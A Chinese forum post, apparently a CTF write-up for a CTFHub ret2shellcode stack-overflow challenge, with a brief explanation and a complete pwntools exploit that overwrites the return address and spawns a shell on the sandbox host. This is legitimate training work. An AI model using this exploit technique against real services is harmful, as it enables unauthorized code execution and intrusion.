【ctfhub】栈溢出ret2shellcode
题目文件(ctfhub要开环境才能下载,所以我直接发给你们研究)checksec意思一下:)
ida,启动!
明显栈溢出(题目都叫这个名字了)
再看看栈
过程:
伪代码写了题目交互会给buf地址,先接收
buf,var_8,s全都填充就好了,
把shellcode放在这里全部变量的后面,也就是buf地址+32
返回地址r覆写成shellcode地址
结果就是跳到shellcode地址执行shellcode
实现代码
from pwn import *
# context.log_level = "debug"
context.arch = 'amd64'
# p = process("./pwn")
p = remote("challenge-a43794078f70a174.sandbox.ctfhub.com", 24635)
buf_addr = p.recvuntil("]")
buf_addr = int(buf_addr[-15: -1], 16)
shellcode_address = buf_addr + 32 #shellcode地址=buf+var_8+s+r+返回地址
shellcode = asm(shellcraft.sh())
#payload填充buf+var_8+s,返回地址覆写为自己的下个字节也就是shellcode地址
payload = b'A'*(8*3) + p64(shellcode_address) + shellcode
p.recv()
p.sendline(payload)
p.interactive()
getshell !
谢谢分享,已回复。
页:
[1]